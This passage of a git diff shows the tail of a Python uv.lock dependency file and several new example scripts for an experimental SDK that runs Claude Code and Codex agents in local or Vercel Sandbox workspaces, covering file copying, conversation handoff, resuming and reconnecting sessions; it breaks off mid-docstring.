hash = "sha256:d34c20167764fbcf927194d532dd7e0c56772f0a5f943fa5ef9e9afbba8fb9db", size = 613350, upload-time = "2026-06-30T07:16:38.213Z" }, + { url = "https://files.pythonhosted.org/packages/5b/de/e0674bdbc3ef7634989b3f854c3f34bc1f587d36e5bfdc5c378d57034619/rpds_py-2026.6.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ea7bb13b7c9a29791f87a0387ba7d3ad3a6d783d827e4d3f27b40a0ff44495e2", size = 576486, upload-time = "2026-06-30T07:16:39.797Z" }, + { url = "https://files.pythonhosted.org/packages/f2/f6/21101359743cd136ada781e8210a85769578422ba460672eea0e29739200/rpds_py-2026.6.3-cp314-cp314t-win32.whl", hash = "sha256:6de4744d05bd1aa1be4ed7ea1189e3979196808008113bbbf899a460966b925e", size = 201068, upload-time = "2026-06-30T07:16:41.316Z" }, + { url = "https://files.pythonhosted.org/packages/a6/b2/9574d4d44f7760c2aa32d92a0a4f41698e33f5b204a0bf5c9758f52c79d5/rpds_py-2026.6.3-cp314-cp314t-win_amd64.whl", hash = "sha256:c7b9a2f8f4d8e90af72571d3d495deebdd7e3c75451f5b41719aee166e940fc2", size = 220600, upload-time = "2026-06-30T07:16:43.091Z" }, + { url = "https://files.pythonhosted.org/packages/08/ae/f23a2697e6ee6340a578b0f136be6483657bef0c6f9497b752bb5c0964bb/rpds_py-2026.6.3-cp315-cp315-macosx_10_12_x86_64.whl", hash = "sha256:e059c5dde6452b44424bd1834557556c226b57781dee1227af23518459722b13", size = 344726, upload-time = "2026-06-30T07:16:44.5Z" }, + { url = "https://files.pythonhosted.org/packages/c3/63/e7b3a1a5358dd32c930a1062d8e15b67fd6e8922e81df9e91706d66ee5c8/rpds_py-2026.6.3-cp315-cp315-macosx_11_0_arm64.whl", hash = "sha256:2f7c26fbc5acd2522b95d4177fe4710ffd8e9b20529e703ffbf8db4d93903f05", size = 339587, upload-time = "2026-06-30T07:16:46.255Z" }, + { url = "https://files.pythonhosted.org/packages/ec/64/10a85681916ca55fffb91b0a211f84e34297c109243484dd6394660a8a7c/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3086b538543802f84c843911242db20447de00d8752dd0efc936dbcf02218ba", size = 369585, upload-time = "2026-06-30T07:16:48.101Z" }, + { url = "https://files.pythonhosted.org/packages/76/c2/baf95c7c38823e12ba34407c5f5767a89e5cf2233895e56f608167ae9493/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8f2e5c5ee828d42cb11760761c0af6507927bec42d0ad5458f97c9203b054617", size = 375479, upload-time = "2026-06-30T07:16:49.93Z" }, + { url = "https://files.pythonhosted.org/packages/6a/94/0aad06c72d65101e11d33528d438cda99a39ce0da99466e156158f2541d3/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ed0c1e5d10cdc7135537988c74a0188da68e2f3c30813ba3744ab1e42e0480f9", size = 492418, upload-time = "2026-06-30T07:16:51.641Z" }, + { url = "https://files.pythonhosted.org/packages/b5/17/de3f5a479a1f056535d7489819639d8cd591ea6281d700390b43b1abd745/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8c2642a7603ec0b16ed77da4555db3b4b472341904873788327c0b0d7b95f1bb", size = 384123, upload-time = "2026-06-30T07:16:53.622Z" }, + { url = "https://files.pythonhosted.org/packages/46/7d/bf09bd1b145bb2671c03e1e6d1ab8651858d90d8c7dfeadd85a37a934fd8/rpds_py-2026.6.3-cp315-cp315-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e4320744c1ffdd95a603def63344bfab2d33edeab301c5007e7de9f9f5b3885", size = 367351, upload-time = "2026-06-30T07:16:55.241Z" }, + { url = "https://files.pythonhosted.org/packages/a3/ea/1bb734f314b8be319149ddee80b18bd41372bdcfbdf88d28131c0cd37719/rpds_py-2026.6.3-cp315-cp315-manylinux_2_31_riscv64.whl", hash = "sha256:a9f4645593036b81bbdb36b9c8e0ea0d1c3fee968c4d59db0344c14087ef143a", size = 378827, upload-time = "2026-06-30T07:16:56.841Z" }, + { url = "https://files.pythonhosted.org/packages/4b/93/d9611e5b25e26df9a3649813ed66193ace9347a7c7fc4ab7cf70e94851c0/rpds_py-2026.6.3-cp315-cp315-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:e55d236be29255554da47abe5c577637db7c24a02b8b46f0ca9524c855801868", size = 395966, upload-time = "2026-06-30T07:16:58.557Z" }, + { url = "https://files.pythonhosted.org/packages/c3/cb/99d77e16e5534ae1d90629bbe419ba6ee170833a6a85e3aa1cc41726fbbc/rpds_py-2026.6.3-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:24e9c5386e16669b674a69c156c8eeefcb578f3b3397b713b08e6d60f3c7b187", size = 545680, upload-time = "2026-06-30T07:17:00.164Z" }, + { url = "https://files.pythonhosted.org/packages/59/15/11a29755f790cef7a2f755e8e14f4f0c33f39489e1893a632a2eee59672b/rpds_py-2026.6.3-cp315-cp315-musllinux_1_2_i686.whl", hash = "sha256:c60924535c75f1566b6eb75b5c31a48a43fef04fa2d0d201acbad8a9969c6107", size = 611853, upload-time = "2026-06-30T07:17:01.962Z" }, + { url = "https://files.pythonhosted.org/packages/68/86/0c27547e21644da938fb530f7e1a8148dd24d02db07e7a5f2567a17ce710/rpds_py-2026.6.3-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:38a2fea2787428f811719ceb9114cb78964a3138838320c29ac39526c79c16ba", size = 573715, upload-time = "2026-06-30T07:17:03.693Z" }, + { url = "https://files.pythonhosted.org/packages/29/71/4d8fcf700931815594bce892255bbd973b94efaf0fc1932b0590df18d886/rpds_py-2026.6.3-cp315-cp315-win32.whl", hash = "sha256:d483fe17f01ad64b7bf7cc38fcefff1ca9fb83f8c2b2542b68f97ffe0611b369", size = 202864, upload-time = "2026-06-30T07:17:05.746Z" }, + { url = "https://files.pythonhosted.org/packages/eb/62/b577562de0edbb55b2be85ce5fd09c33e386b9b13eee09833af4240fd5c4/rpds_py-2026.6.3-cp315-cp315-win_amd64.whl", hash = "sha256:67e3a721ffc5d8d2210d3671872298c4a84e4b8035cfe42ffd7cde35d772b146", size = 220430, upload-time = "2026-06-30T07:17:07.471Z" }, + { url = "https://files.pythonhosted.org/packages/c8/95/d6d0b2509825141eef60669a5739eec88dbc6a48053d6c92993a5704defe/rpds_py-2026.6.3-cp315-cp315-win_arm64.whl", hash = "sha256:6e84adbcf4bf841aed8116a8264b9f50b4cb3e7bd89b516122e616ac56ca269e", size = 215877, upload-time = "2026-06-30T07:17:09.008Z" }, + { url = "https://files.pythonhosted.org/packages/b7/bf/f3ea278f0afd615c1d0f19cb69043a41526e2bb600c2b536eb192218eb27/rpds_py-2026.6.3-cp315-cp315t-macosx_10_12_x86_64.whl", hash = "sha256:ae6dd8f10bd17aad820876d24caec9efdafd80a318d16c0a48edb5e136902c6b", size = 346933, upload-time = "2026-06-30T07:17:10.762Z" }, + { url = "https://files.pythonhosted.org/packages/9d/29/9907bdf1c5346763cf10b7f6852aad86652168c259def904cbe0082c5864/rpds_py-2026.6.3-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:bdbd97738551fca3917c1bd7188bec1920bb520104f28e7e1007f9ceb17b7690", size = 340274, upload-time = "2026-06-30T07:17:12.266Z" }, + { url = "https://files.pythonhosted.org/packages/6f/2c/8e03767b5778ef25cebf74a7a91a2c3806f8eced4c92cb7406bbe060756d/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b95977e7211527ab0ba576e286d023389fbeeb32a6b7b771665d333c60e5342", size = 370763, upload-time = "2026-06-30T07:17:14.107Z" }, + { url = "https://files.pythonhosted.org/packages/2e/e1/df2a7e1ba2efd796af26194250b8d42c821b46592311595162af9ef0528d/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d15fde0e6fb0d88a60d221204873743e5d9f0b7d29165e62cd86d0413ad74ba6", size = 376467, upload-time = "2026-06-30T07:17:15.76Z" }, + { url = "https://files.pythonhosted.org/packages/6b/de/8a0814d1946af29cb068fb259aa8622f856df1d0bab58429448726b537f5/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a136d453475ac0fcbda502ef1e6504bd28d6d904700915d278deeab0d00fe140", size = 496689, upload-time = "2026-06-30T07:17:17.308Z" }, + { url = "https://files.pythonhosted.org/packages/df/f3/f19e0c852ba13694f5a79f3b719331051573cb5693feacf8a88ffffc3a71/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f826877d462181e5eb1c26a0026b8d0cab05d99844ecb6d8bf3627a2ca0c0442", size = 385340, upload-time = "2026-06-30T07:17:18.928Z" }, + { url = "https://files.pythonhosted.org/packages/e2/ae/7ec3a9d2d4351f99e37bcb06b6b6f954512646bfdbf9742e1de727865daf/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:79486287de1730dbaff3dbd124d0ca4d2ef7f9d29bf2544f1f93c09b5bcbbd12", size = 372179, upload-time = "2026-06-30T07:17:20.539Z" }, + { url = "https://files.pythonhosted.org/packages/d3/ac/9cee911dff2aaa9a5a8354f6610bf2e6a616de9197c5fff4f54f82585f1e/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_31_riscv64.whl", hash = "sha256:808345f53cb952433ca2816f1604ff3515608a81784954f38d4452acfe8e61d5", size = 379993, upload-time = "2026-06-30T07:17:22.212Z" }, + { url = "https://files.pythonhosted.org/packages/83/6b/7c2a07ba88d1e9a936612f7a5d067467ed03d971d5a06f7d309dff044a7e/rpds_py-2026.6.3-cp315-cp315t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1967debc37f64f2c4dc90a7f563aec558b471966e12adcac4e1c4240496b6ebf", size = 398909, upload-time = "2026-06-30T07:17:23.66Z" }, + { url = "https://files.pythonhosted.org/packages/97/0b/776ffcb66783637b0031f6d58d6fb55913c8b5abf00aeecd46bf933fb477/rpds_py-2026.6.3-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:f0840b5b17057f7fd918b76183a4b5a0635f43e14eb2ce60dce1d4ee4707ea00", size = 546584, upload-time = "2026-06-30T07:17:25.264Z" }, + { url = "https://files.pythonhosted.org/packages/55/33/ba3bc04d7092bd553c9b2b195624992d2cc4f3de1f380b7b93cbee67bd79/rpds_py-2026.6.3-cp315-cp315t-musllinux_1_2_i686.whl", hash = "sha256:faa679d19a6696fd54259ad321251ad77a13e70e03dd834daa762a44fb6196ef", size = 614357, upload-time = "2026-06-30T07:17:26.888Z" }, + { url = "https://files.pythonhosted.org/packages/8b/71/14edf065f04630b1a8472f7653cad03f6c478bcf95ea0e6aed55451e33ea/rpds_py-2026.6.3-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:23a439f31ccbeff1574e24889128821d1f7917470e830cf6544dced1c662262a", size = 576533, upload-time = "2026-06-30T07:17:28.546Z" }, + { url = "https://files.pythonhosted.org/packages/ba/76/65002b08596c389105720a8c0d22298b8dc25a4baf89b2ce431343c8b1de/rpds_py-2026.6.3-cp315-cp315t-win32.whl", hash = "sha256:913ca42ccad3f8cc6e292b587ae8ae49c8c823e5dce51a736252fc7c7cdfa577", size = 201204, upload-time = "2026-06-30T07:17:30.193Z" }, + { url = "https://files.pythonhosted.org/packages/8c/97/d855d6b3c322d1f27e26f5241c42016b56cf01377ea8ed348285f54652f0/rpds_py-2026.6.3-cp315-cp315t-win_amd64.whl", hash = "sha256:ae3d4fe8c0b9213624fdce7279d70e3b148b682ca20719ebd193a23ebfa47324", size = 220719, upload-time = "2026-06-30T07:17:31.788Z" }, +] + +[[package]] +name = "sniffio" +version = "1.3.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/a2/87/a6771e1546d97e7e041b6ae58d80074f81b7d5121207425c964ddf5cfdbd/sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc", size = 20372, upload-time = "2024-02-25T23:20:04.057Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e9/44/75a9c9421471a6c4805dbf2356f7c181a29c1879239abab1ea2cc8f38b40/sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2", size = 10235, upload-time = "2024-02-25T23:20:01.196Z" }, +] + +[[package]] +name = "sse-starlette" +version = "3.4.11" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "starlette" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/2b/54/6767bb789b2f2fed6e0f953df949cd39dc263a384c1b65a95232598621d6/sse_starlette-3.4.11.tar.gz", hash = "sha256:1bae716c02f3e6f294be41ff333220692dae7c3cbab077c900f159676719dade", size = 34972, upload-time = "2026-09-05T12:11:04.607Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/6a/2ba3ed4a69babf3afdddf7d8314a48d87562c0a442206bbc2a1b50d5efc0/sse_starlette-3.4.11-py3-none-any.whl", hash = "sha256:c7b2244bdff016fe7f64e10075e89a3e6bbf899649cc89b0fe884b5545042453", size = 17122, upload-time = "2026-09-05T12:11:03.195Z" }, +] + +[[package]] +name = "starlette" +version = "1.7.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyio" }, + { name = "typing-extensions", marker = "python_full_version < '3.13'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7b/2b/3850dc6bf7ef71b088962eba31dafc6cffd2f96e577ebb0bb316df96da3e/starlette-1.7.0.tar.gz", hash = "sha256:c79f74ea63cff761804fbbfb182f1e0b440c2d07b164d24700c5a1bab5d6ff5d", size = 2736246, upload-time = "2026-09-23T07:30:26.35Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/4e/d6/1ec1b290f9e0fb067899b61e1d37a30c923068bad260b216dbe37a7d2967/starlette-1.7.0-py3-none-any.whl", hash = "sha256:67f8e99895493dd2911a03f11314af6ceebeae4e704bb9f43dfc6a9db151c93e", size = 78980, upload-time = "2026-09-23T07:30:24.567Z" }, +] + +[[package]] +name = "truststore" +version = "0.10.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.16.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/f6/cc/6253133b5bb138fc3306cebfbda2c520f545d36b5be2c7255cc528bb45d6/typing_extensions-4.16.0.tar.gz", hash = "sha256:dc983d19a509c94dba722ee6abd33940f7c05a89e243c47e907eb4db6f1a43e5", size = 113555, upload-time = "2026-07-02T08:40:05.92Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/49/d3/b8441a820a491ddfc024b0b0cf0393375b75ea13866d9c66727e54c2fc80/typing_extensions-4.16.0-py3-none-any.whl", hash = "sha256:481caa481374e813c1b176ada14e97f1f67a4539ce9cfeb3f350d78d6370c2e8", size = 45571, upload-time = "2026-07-02T08:40:04.659Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/a3/26/b09b8010994eccc3c09092e6b34058f36a460eea2d4c3e8b910c695975a0/typing_inspection-0.4.4.tar.gz", hash = "sha256:547274fa6b0a561ccf549cc9524b999a578e737d015d8709d021f9d0d13bea47", size = 76928, upload-time = "2026-08-12T12:37:25.997Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/67/81/4add07e5172b7ac40d8ed5ff580409a7801a4fe26d529bdd915401dabfbe/typing_inspection-0.4.4-py3-none-any.whl", hash = "sha256:65b8397ba37ccbce054456aaccddfc91e6e3083c92824df348d96ca832f3f147", size = 14750, upload-time = "2026-08-12T12:37:24.648Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.54.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/da/34/30e9280707135d2cfc589dfff3cb796bd07a3aeb1a3e415ba09dd89d7bb4/uvicorn-0.54.0.tar.gz", hash = "sha256:a2e33cbfaa0306f8e6b0c13e0cb89d7d7a2da3e62b90c66e18c33d9807b28620", size = 112283, upload-time = "2026-09-25T06:52:37.601Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/38/0c/b54a4fdd7f90a3af8b02ebc9ce6712c2c208b7926a2f7bad95c33ebbe943/uvicorn-0.54.0-py3-none-any.whl", hash = "sha256:505bdb0f318731d45f1f712071fc781a8981f6847a31c902c9f5e652d4f67faf", size = 87427, upload-time = "2026-09-25T06:52:35.829Z" }, +] + +[[package]] +name = "vercel-headers" +version = "0.7.2" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-headers&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } + +[[package]] +name = "vercel-internal-core" +version = "0.2.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-internal-core&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2" }, +] + +[[package]] +name = "vercel-oidc" +version = "0.9.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-oidc&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2" }, + { name = "vercel-headers" }, +] + +[[package]] +name = "vercel-sandbox" +version = "0.7.0" +source = { git = "https://github.com/vercel/vercel-py?subdirectory=src%2Fvercel-sandbox&rev=ec07c8602d533067d7a9e6c400560659e65c6c50#ec07c8602d533067d7a9e6c400560659e65c6c50" } +dependencies = [ + { name = "anyio" }, + { name = "httpx2", extra = ["ws"] }, + { name = "pydantic" }, + { name = "vercel-internal-core" }, + { name = "vercel-oidc" }, +] + +[[package]] +name = "wsproto" +version = "1.3.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "h11" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c7/79/12135bdf8b9c9367b8701c2c19a14c913c120b882d50b014ca0d38083c2c/wsproto-1.3.2.tar.gz", hash = "sha256:b86885dcf294e15204919950f666e06ffc6c7c114ca900b060d6e16293528294", size = 50116, upload-time = "2025-11-20T18:18:01.871Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/f5/10b68b7b1544245097b2a1b8238f66f2fc6dcaeb24ba5d917f52bd2eed4f/wsproto-1.3.2-py3-none-any.whl", hash = "sha256:61eea322cdf56e8cc904bd3ad7573359a242ba65688716b0710a5eb12beab584", size = 24405, upload-time = "2025-11-20T18:18:00.454Z" }, +] diff --git a/examples/harnesses/__init__.py b/examples/harnesses/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/examples/harnesses/basic.py b/examples/harnesses/basic.py new file mode 100644 index 00000000..f3157893 --- /dev/null +++ b/examples/harnesses/basic.py @@ -0,0 +1,21 @@ +"""Run one prompt and read the result.""" + +import asyncio + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def main() -> None: + async with harnesses.claude_code(workspace=workspaces.Local(".")) as agent: + result = await agent.run("Reply with exactly: READY") + + print(result.text) + print(f"finish: {result.finish_reason}") + print( + f"tokens: {result.usage.input_tokens} in / " + f"{result.usage.output_tokens} out" + ) + + +asyncio.run(main()) diff --git a/examples/harnesses/copy_files.py b/examples/harnesses/copy_files.py new file mode 100644 index 00000000..666723ae --- /dev/null +++ b/examples/harnesses/copy_files.py @@ -0,0 +1,51 @@ +"""Give an agent a project, then collect what it produced. + +`copy` moves a tree either way. Direction is whichever side is marked with +`workspace / "path"` — there is no flag, and no second method. +""" + +import asyncio +import tempfile +from pathlib import Path + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def approve( + ctx: harnesses.ApprovalContext, +) -> harnesses.Decision: + return harnesses.Allow() + + +async def main() -> None: + project = Path(__file__).parents[2] / "src" + + with tempfile.TemporaryDirectory() as collected: + # The gateway is the workspace's: the key is injected at egress, and + # nothing else from .env.local leaves this machine. + async with workspaces.VercelSandbox( + gateway=workspaces.vercel_ai_gateway() + ) as workspace: + # In: the tree minus what .gitignore excludes, batched into few + # requests. + sent = await workspaces.copy(project, workspace / "src") + print(f"sent {sent} files into the sandbox") + + async with harnesses.claude_code( + workspace=workspace, approve=approve + ) as agent: + await agent.run( + "Read src/ai/harnesses/experimental/errors.py and write a " + "one-paragraph " + + "summary to notes/errors.md. Then reply DONE." + ) + + # Out: one archive, one round trip, however many files. + back = await workspaces.copy(workspace / "notes", collected) + print(f"brought back {back} files") + + print((Path(collected) / "errors.md").read_text()[:200]) + + +asyncio.run(main()) diff --git a/examples/harnesses/handoff.py b/examples/harnesses/handoff.py new file mode 100644 index 00000000..7ab2b626 --- /dev/null +++ b/examples/harnesses/handoff.py @@ -0,0 +1,78 @@ +"""Hand a conversation over: to the other harness, or to another machine. + +A conversation is a list of messages — `history()` gives you one, and so does +`result.messages`. To move it, start a new session FROM it. The receiving +harness stores it natively before the first turn: text as it was said, tool +calls as real tool items with their original names, reasoning as a note from +the previous session. Same call whether the destination is the other harness +or a sandbox on another machine. +""" + +import asyncio +import os +import tempfile + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def main() -> None: + # Your own login when the CLIs have one here; the gateway when a key is + # around. One record, both workspaces below — on your machine it goes in + # the environment, in the sandbox it is injected at egress. + gw = ( + workspaces.vercel_ai_gateway() + if os.environ.get("AI_GATEWAY_API_KEY") + else None + ) + + with tempfile.TemporaryDirectory() as tmp: + async with workspaces.Local(tmp, gateway=gw) as workspace: + # 1. A conversation with Claude, on this machine. It does real work. + async with harnesses.claude_code(workspace=workspace) as agent: + session = agent.session() + await session.run( + "Create notes.txt containing exactly: milk, eggs. " + + "Also remember: the deadline is FRIDAY. Reply with " + "exactly: OK" + ) + history = await agent.history(session.session_id) + calls = sum( + 1 for m in history for p in m.parts if p.kind == "tool_call" + ) + print( + f"Claude's conversation: {len(history)} messages, " + f"{calls} tool call(s)" + ) + + # 2. Codex picks it up — same directory, other harness. It knows + # what was said AND what was done, and acts with its own tools. + async with harnesses.codex( + workspace=workspace, sandbox="workspace-write" + ) as agent: + result = await agent.run( + "What is the deadline, and what did we put in notes.txt? " + "Then append " + "'bread' to notes.txt. Reply in one line.", + history=history, + ) + print("Codex:", result.text.strip()) + print( + "notes.txt:", + (await workspace.read_text("notes.txt")) + .strip() + .replace("\n", " / "), + ) + + # 3. The same history, on another machine entirely. Only the + # workspace changes. + if os.environ.get("VERCEL_OIDC_TOKEN") and gw is not None: + async with workspaces.VercelSandbox(gateway=gw) as remote: + async with harnesses.claude_code(workspace=remote) as agent: + session = agent.session(history=history) + result = await session.run( + "What is the deadline? Reply with the day only." + ) + print("Claude, in a sandbox:", result.text.strip()) + + +asyncio.run(main()) diff --git a/examples/harnesses/reconnect.py b/examples/harnesses/reconnect.py new file mode 100644 index 00000000..2245df2f --- /dev/null +++ b/examples/harnesses/reconnect.py @@ -0,0 +1,135 @@ +"""Push work into a sandbox, close your laptop, come back to it later. + +Three ideas, and they are deliberately independent: + +* SURVIVAL is the workspace's: `keep=True` leaves the VM — and every harness + in it — running after you let go. `keep=False` stops it. Release your own + client cleanly with `agent.detach()`. +* LIVE STATE is the harness's: open a harness INSIDE the workspace and ask + it what it has (`agent.sessions()`). Each harness finds its own sessions + with the workspace's primitives; the workspace itself knows nothing about + harnesses. Two kinds in one VM? Ask each. +* OWNERSHIP is yours: the SDK keeps no registry of "which session is + which". Save what you need — a `Handle` is exactly that, serializable — + and match it back on reconnect. This file uses a JSON file as that state. + +With no approval hook (as here) the agent runs to completion while you are +away. With a hook it still survives — it just blocks on the next tool call +until a client comes back to answer. +""" + +import asyncio +import json +from pathlib import Path + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + +STATE = Path("reconnect-state.json") # the app's own bookkeeping + + +async def push() -> None: + """Before you close the laptop: start two agents, keep the VM.""" + gw = workspaces.vercel_ai_gateway() + # The gateway is the workspace's: egress locked to the gateway host, the + # key injected there, every harness inside handed a placeholder. + async with workspaces.VercelSandbox(keep=True, gateway=gw) as workspace: + assert workspace.name is not None # known once the VM exists + saved: dict[str, str] = {"sandbox": workspace.name} + + # Two harnesses in one VM, each on its own conversation. + for label, harness_factory, task in ( + ( + "planner", + harnesses.claude_code, + "Create notes.txt with a one-line plan for a TODO app, then " + "reply: OK", + ), + ( + "reviewer", + harnesses.codex, + "Remember the codeword BETA. Reply with exactly: OK", + ), + ): + agent = harness_factory(workspace=workspace) + await agent.open() + session = agent.session() + await session.run(task) + # A Handle is the portable pointer: harness kind + session id + + # how to reopen the workspace. Save it under YOUR label. + saved[label] = session.handle.model_dump_json() + await agent.detach() # release cleanly; the harness keeps running + + STATE.write_text(json.dumps(saved, indent=2)) + print( + f"[*] left sandbox {workspace.name} running; remembered " + f"{len(saved) - 1} sessions" + ) + + +async def come_back() -> None: + """Another machine, later: reopen, see what is there, pick up each one.""" + gw = workspaces.vercel_ai_gateway() + saved = json.loads(STATE.read_text()) + + # (a) The simplest path: harness_from(handle) rebuilds the harness the + # handle names — workspace included, so the sandbox reopens by name — + # and continues its conversation. The gateway is passed again (a + # handle never carries a key); the reopened VM remembers that it + # injects credentials, so the harness is brokered all the same. One + # writer per conversation holds here too: the detached planner still + # owns its session, so a plain resume raises SessionBusyError, and + # fork=True is how you continue anyway. + planner = harnesses.Handle.model_validate_json(saved["planner"]) + try: + async with harnesses.harness_from(planner, gateway=gw) as session: + result = await session.run( + "What plan did you write? Reply in one line." + ) + print("[*] planner picked up:", result.text.strip()) + except harnesses.errors.SessionBusyError as busy: + print(f"[*] planner is still held ({busy}); forking instead") + async with harnesses.harness_from( + planner, gateway=gw, fork=True + ) as session: + result = await session.run( + "What plan did you write? Reply in one line." + ) + print("[*] planner picked up (forked):", result.text.strip()) + + # (b) The listing path: open the workspace by name, instantiate the + # harness you want, and ask IT what it has. Match against your state. + async with workspaces.VercelSandbox( + name=saved["sandbox"], gateway=gw + ) as workspace: + reviewer = harnesses.Handle.model_validate_json(saved["reviewer"]) + agent = harnesses.codex(workspace=workspace) + await agent.open() + listed = await agent.sessions() # codex finds ITS sessions in the VM + print(f"[*] codex reports {len(listed)} session(s) in this sandbox") + mine = next(i for i in listed if i.session_id == reviewer.session_id) + # The harness you detached from is still ALIVE in the VM and holds + # this conversation: `listed` marks it running, and resume() would + # raise SessionBusyError — on both harnesses, the same way. From a fresh + # client, FORK: same history, your own conversation. Reattaching to + # the live process is the follow-up. + picked = await agent.fork(mine.session_id) + result = await picked.run( + "What is the codeword? Reply with the single word only." + ) + print("[*] reviewer picked up (forked):", result.text.strip()) + await agent.detach() + + # (c) Done for real: stop the VM. Everything in it ends with it. + async with workspaces.VercelSandbox(name=saved["sandbox"], keep=False): + pass + STATE.unlink() + print("[*] sandbox stopped") + + +async def main() -> None: + await push() + await come_back() + + +asyncio.run(main()) diff --git a/examples/harnesses/resume.py b/examples/harnesses/resume.py new file mode 100644 index 00000000..81c4aa08 --- /dev/null +++ b/examples/harnesses/resume.py @@ -0,0 +1,31 @@ +"""Stop, persist a handle, and continue in another process.""" + +import asyncio +import tempfile + +from ai.harnesses import experimental as harnesses +from ai.workspaces import experimental as workspaces + + +async def main() -> None: + with tempfile.TemporaryDirectory() as tmp: + async with harnesses.claude_code( + workspace=workspaces.Local(tmp) + ) as agent: + session = agent.session() + await session.run("Remember this codeword: PLATYPUS. Reply OK.") + saved = ( + session.handle.model_dump_json() + ) # put this in your database + + # ... later, another process entirely ... + async with harnesses.harness_from( + harnesses.Handle.model_validate_json(saved) + ) as session: + answer = await session.run( + "What codeword did I give you? Reply with the word only." + ) + print(answer.text) + + +asyncio.run(main()) diff --git a/examples/harnesses/sandbox.py b/examples/harnesses/sandbox.py new file mode 100644 index 00000000..e6a7f254 --- /dev/null +++ b/examples/harnesses/sandbox.py @@ -0,0 +1,45 @@ +"""The same code, with the agents running in a Vercel Sandbox microVM. + +Only the workspace changes. The CLI is installed into the VM for you. + +`vercel link` + `vercel env pull` is enough to CREATE a sandbox — +VercelSandbox reads the Vercel credentials out of .env.local. Nothing else +in that file leaves your machine unless you say so. + +What a harness needs to reach a MODEL is a separate question, because it +authenticates where it runs and a fresh VM has no login. vercel_ai_gateway() +answers it, and it goes to the WORKSPACE: the sandbox locks its egress to +the gateway host and 